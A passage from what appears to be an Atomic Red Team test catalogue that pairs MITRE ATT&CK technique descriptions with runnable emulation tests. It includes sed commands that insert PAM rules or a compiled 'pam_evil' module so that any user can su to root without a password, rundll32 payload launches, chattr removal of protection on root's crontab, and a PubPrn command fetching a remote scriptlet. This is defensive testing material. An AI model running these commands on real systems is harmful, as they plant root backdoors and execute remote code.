      input_arguments:
        command_to_execute:
          description: Command for rundll32.exe to execute
          type: string
          default: calc.exe
      executor:
        command: 'rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}

          '
        name: command_prompt
    - name: Rundll32 execute payload by calling RouteTheCall
      auto_generated_guid: 8a7f56ee-10e7-444c-a139-0109438288eb
      description: |
        Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.
        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml
      supported_platforms:
      - windows
      input_arguments:
        exe_to_launch:
          description: Path of the executable to launch
          type: path
          default: "'%windir%\\System32\\calc.exe'"
      executor:
        command: rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}"
        cleanup_command: 
        name: powershell
        elevation_required: false
  T1027.009:
    technique:
      modified: '2023-09-29T21:14:57.263Z'
      name: Embedded Payloads
      description: "Adversaries may embed payloads within other files to conceal malicious
        content from defenses. Otherwise seemingly benign files (such as scripts and
        executables) may be abused to carry and obfuscate malicious payloads and content.
        In some cases, embedded payloads may also enable adversaries to [Subvert Trust
        Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution
        controls such as digital signatures and notarization tickets.(Citation: Sentinel
        Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation:
        Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003),
        though does not involve weaving malicious content into specific bytes and
        patterns related to legitimate digital media formats.(Citation: GitHub PSImage)
        \n\nFor example, adversaries have been observed embedding payloads within
        or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2)
        Adversaries have also been observed nesting payloads (such as executables
        and run-only scripts) inside a file of the same format.(Citation: SentinelLabs
        reversing run-only applescripts 2021) \n\nEmbedded content may also be used
        as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads
        used to infect benign system processes.(Citation: Trend Micro) These embedded
        then injected payloads may be used as part of the modules of malware designed
        to provide specific features such as encrypting C2 communications in support
        of an orchestrator module. For example, an embedded module may be injected
        into default browsers, allowing adversaries to then communicate via the network.(Citation:
        Malware Analysis Report ComRAT)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Nick Cairns, @grotezinfosec
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Metadata'
      x_mitre_system_requirements:
      - User
      type: attack-pattern
      id: attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1
      created: '2022-09-30T18:50:14.351Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/009
        external_id: T1027.009
      - source_name: GitHub PSImage
        description: Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September
          30, 2022.
        url: https://github.com/peewpw/Invoke-PSImage
      - source_name: Malware Analysis Report ComRAT
        description: 'CISA. (2020, October 29). Malware Analysis Report (AR20-303A)
          MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.'
        url: https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a
      - source_name: Trend Micro
        description: Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker
          Fileless Ransomware. Retrieved September 30, 2022.
        url: https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html
      - source_name: Securelist Dtrack2
        description: KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack.
          Retrieved September 30, 2022.
        url: https://securelist.com/my-name-is-dtrack/93338/
      - source_name: Microsoft Learn
        description: Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September
          30, 2022.
        url: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1
      - source_name: SentinelLabs reversing run-only applescripts 2021
        description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing
          Malicious Run-Only AppleScripts. Retrieved September 29, 2022.
        url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/
      - source_name: Sentinel Labs
        description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing
          Malicious Run-Only AppleScripts. Retrieved September 30, 2022.
        url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      created: '2020-06-26T04:01:09.648Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Modify Authentication Process: Pluggable Authentication Modules'
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
    - name: Malicious PAM rule (freebsd)
      auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 8
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf}

          '
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

          '
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

          '
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

          '
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

          '
        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

          '
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
  T1578.004:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Netskope
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1
      type: attack-pattern
      created: '2020-06-16T18:42:20.734Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1578.004
        url: https://attack.mitre.org/techniques/T1578/004
      - source_name: Tech Republic - Restore AWS Snapshots
        url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/
        description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots
          on Amazon EC2 machines. Retrieved October 8, 2019.
      - source_name: Google - Restore Cloud Snapshot
        url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
        description: Google. (2019, October 7). Restoring and deleting persistent
          disk snapshots. Retrieved October 8, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: Revert Cloud Instance
      description: |-
        An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

        Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Establish centralized logging of instance activity, which
        can be used to monitor and review system events even after reverting to a
        snapshot, rolling back changes, or changing persistence/type of storage. Monitor
        specifically for events related to snapshots and rollbacks and VM configuration
        changes, that are occurring outside of normal activity. To reduce false positives,
        valid change management procedures could introduce a known identifier that
        is logged with the change (e.g., tag or header) if supported by the cloud
        provider, to help distinguish valid, expected actions from malicious ones.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Instance: Instance Start'
      - 'Instance: Instance Metadata'
      - 'Instance: Instance Stop'
      - 'Instance: Instance Modification'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1564.012:
    technique:
      modified: '2024-04-15T23:42:39.831Z'
      name: File/Path Exclusions
      description: |-
        Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)

        Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9
      created: '2024-03-29T16:59:10.374Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564/012
        external_id: T1564.012
      - source_name: Microsoft File Folder Exclusions
        description: Microsoft. (2024, February 27). Contextual file and folder exclusions.
          Retrieved March 29, 2024.
        url: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1222.002:
    technique:
      modified: '2023-08-14T17:54:22.970Z'
      name: 'File and Directory Permissions Modification: FreeBSD, Linux and Mac File
        and Directory Permissions Modification'
      description: "Adversaries may modify file or directory permissions/attributes
        to evade access control lists (ACLs) and access protected files.(Citation:
        Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)
        File and directory permissions are commonly managed by ACLs configured by
        the file or directory owner, or users with the appropriate permissions. File
        and directory ACL implementations vary by platform, but generally explicitly
        designate which users or groups can perform which actions (read, write, execute,
        etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission
        groups (user, group, and other) and a standard set of permissions (read, write,
        and execute) that are applied to each group. While nuances of each platform’s
        permissions implementation may vary, most of the platforms provide two primary
        commands used to manipulate file and directory ACLs: <code>chown</code> (short
        for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial
        may use these commands to make themselves the owner of files and directories
        or change the mode if current permissions allow it. They could subsequently
        lock others out of the file. Specific file and directory modifications may
        be a required step for many techniques, such as establishing Persistence via
        [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004)
        or tainting/hijacking other instrumental binary/configuration files via [Hijack
        Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS
        Common Tools and Techniques) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor and investigate attempts to modify ACLs and file/directory
        ownership. Many of the commands used to modify ACLs and file/directory ownership
        are built-in system utilities and may generate a high false positive alert
        rate, so compare against baseline knowledge for how systems are typically
        used and correlate modification events with other indications of malicious
        activity where possible. Commonly abused command arguments include <code>chmod
        +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation:
        20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory
        permission change auditing on folders containing key binary/configuration
        files."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Metadata'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345
      created: '2020-02-04T19:24:27.774Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1222/002
        external_id: T1222.002
      - source_name: Hybrid Analysis Icacls1 June 2018
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
      - source_name: Hybrid Analysis Icacls2 May 2018
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
      - source_name: 20 macOS Common Tools and Techniques
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1222.002
    atomic_tests:
    - name: chmod - Change file or folder mode (numeric mode)
      auto_generated_guid: 34ca1464-de9d-40c6-8c77-690adf36a135
      description: 'Changes a file or folder''s permissions using chmod and a specified
        numeric mode.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        numeric_mode:
          description: Specified numeric mode value
          type: integer
          default: 755
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod #{numeric_mode} #{file_or_folder}

          '
        name: sh
    - name: chmod - Change file or folder mode (symbolic mode)
      auto_generated_guid: fc9d6695-d022-4a80-91b1-381f5c35aff3
      description: 'Changes a file or folder''s permissions using chmod and a specified
        symbolic mode.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        symbolic_mode:
          description: Specified symbolic mode value
          type: string
          default: a+w
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod #{symbolic_mode} #{file_or_folder}

          '
        name: sh
    - name: chmod - Change file or folder mode (numeric mode) recursively
      auto_generated_guid: ea79f937-4a4d-4348-ace6-9916aec453a4
      description: 'Changes a file or folder''s permissions recursively using chmod
        and a specified numeric mode.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        numeric_mode:
          description: Specified numeric mode value
          type: integer
          default: 755
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod -R #{numeric_mode} #{file_or_folder}

          '
        name: sh
    - name: chmod - Change file or folder mode (symbolic mode) recursively
      auto_generated_guid: 0451125c-b5f6-488f-993b-5a32b09f7d8f
      description: 'Changes a file or folder''s permissions recursively using chmod
        and a specified symbolic mode.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        symbolic_mode:
          description: Specified symbolic mode value
          type: string
          default: a+w
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod -R #{symbolic_mode} #{file_or_folder}

          '
        name: bash
    - name: chown - Change file or folder ownership and group
      auto_generated_guid: d169e71b-85f9-44ec-8343-27093ff3dfc0
      description: 'Changes a file or folder''s ownership and group information using
        chown.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: string
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml"
        group:
          description: Group name of desired group
          type: string
          default: root
      executor:
        command: 'chown #{owner}:#{group} #{file_or_folder}

          '
        name: bash
    - name: chown - Change file or folder ownership and group recursively
      auto_generated_guid: b78598be-ff39-448f-a463-adbf2a5b7848
      description: 'Changes a file or folder''s ownership and group information recursively
        using chown.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: string
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
        group:
          description: Group name of desired group
          type: string
          default: root
      executor:
        command: 'chown -R #{owner}:#{group} #{file_or_folder}

          '
        name: bash
    - name: chown - Change file or folder mode ownership only
      auto_generated_guid: 967ba79d-f184-4e0e-8d09-6362b3162e99
      description: 'Changes a file or folder''s ownership only using chown.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        owner:
          description: Username of desired owner
          type: string
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml"
      executor:
        command: 'chown #{owner} #{file_or_folder}

          '
        name: sh
    - name: chown - Change file or folder ownership recursively
      auto_generated_guid: 3b015515-b3d8-44e9-b8cd-6fa84faf30b2
      description: 'Changes a file or folder''s ownership only recursively using chown.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: string
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chown -R #{owner} #{file_or_folder}

          '
        name: bash
    - name: chattr - Remove immutable file attribute
      auto_generated_guid: e7469fe2-ad41-4382-8965-99b94dd3c13f
      description: |
        Remove's a file's `immutable` attribute using `chattr`.
        This technique was used by the threat actor Rocke during the compromise of Linux web servers.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_modify:
          description: Path of the file
          type: path
          default: "/var/spool/cron/root"
      executor:
        command: 'chattr -i #{file_to_modify}

          '
        name: sh
    - name: chflags - Remove immutable file attribute
      auto_generated_guid: 60eee3ea-2ebd-453b-a666-c52ce08d2709
      description: |
        Remove's a file's `immutable` attribute using `chflags`.
        This technique was used by the threat actor Rocke during the compromise of Linux web servers.
      supported_platforms:
      - linux
      input_arguments:
        file_to_modify:
          description: Path of the file
          type: path
          default: "/tmp/T1222.002.txt"
      executor:
        command: |
          touch #{file_to_modify}
          chflags simmutable #{file_to_modify}
          chflags nosimmutable #{file_to_modify}
        name: sh
    - name: Chmod through c script
      auto_generated_guid: 973631cf-6680-4ffa-a053-045e1b6b67ab
      description: 'chmods a file using a c script

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1222.002/src/T1222.002.c
        compiled_file:
          description: Path of compiled file
          type: path
          default: "/tmp/T1222002"
      dependency_executor_name: sh
      dependencies:
      - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file}

          '
        prereq_command: 'gcc #{source_file} -o #{compiled_file}

          '
        get_prereq_command: 'gcc #{source_file} -o #{compiled_file}

          '
      executor:
        command: "#{compiled_file} /tmp/ T1222002\n"
        name: sh
    - name: Chmod through c script (freebsd)
      auto_generated_guid: da40b5fe-3098-4b3b-a410-ff177e49ee2e
      description: 'chmods a file using a c script

        '
      supported_platforms:
      - linux
      input_arguments:
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1222.002/src/T1222.002.c
        compiled_file:
          description: Path of compiled file
          type: path
          default: "/tmp/T1222002"
      dependency_executor_name: sh
      dependencies:
      - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file}

          '
        prereq_command: 'cc #{source_file} -o #{compiled_file}

          '
        get_prereq_command: 'cc #{source_file} -o #{compiled_file}

          '
      executor:
        command: "#{compiled_file} /tmp/ T1222002\n"
        name: sh
    - name: Chown through c script
      auto_generated_guid: 18592ba1-5f88-4e3c-abc8-ab1c6042e389
      description: 'chowns a file to root using a c script

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1222.002/src/chown.c
        compiled_file:
          description: Path of compiled file
          type: path
          default: "/tmp/T1222002own"
      dependency_executor_name: sh
      dependencies:
      - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file}

          '
        prereq_command: 'gcc #{source_file} -o #{compiled_file}

          '
        get_prereq_command: 'gcc #{source_file} -o #{compiled_file}

          '
      executor:
        command: 'sudo #{compiled_file} #{source_file}

          '
        name: sh
        elevation_required: true
    - name: Chown through c script (freebsd)
      auto_generated_guid: eb577a19-b730-4918-9b03-c5edcf51dc4e
      description: 'chowns a file to root using a c script

        '
      supported_platforms:
      - linux
      input_arguments:
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1222.002/src/chown.c
        compiled_file:
          description: Path of compiled file
          type: path
          default: "/tmp/T1222002own"
      dependency_executor_name: sh
      dependencies:
      - description: 'Compile the script from (#{source_file}). Destination is #{compiled_file}

          '
        prereq_command: 'cc #{source_file} -o #{compiled_file}

          '
        get_prereq_command: 'cc #{source_file} -o #{compiled_file}

          '
      executor:
        command: "#{compiled_file} #{source_file}\n"
        name: sh
        elevation_required: true
  T1216.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Atul Nair, Qualys
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58
      created: '2020-02-03T16:49:57.788Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1216.001
        url: https://attack.mitre.org/techniques/T1216/001
      - source_name: pubprn
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn
        description: Jason Gerend. (2017, October 16). pubprn. Retrieved July 23,
          2021.
      - source_name: Enigma0x3 PubPrn Bypass
        url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
        description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
          April 9, 2018.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

        Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

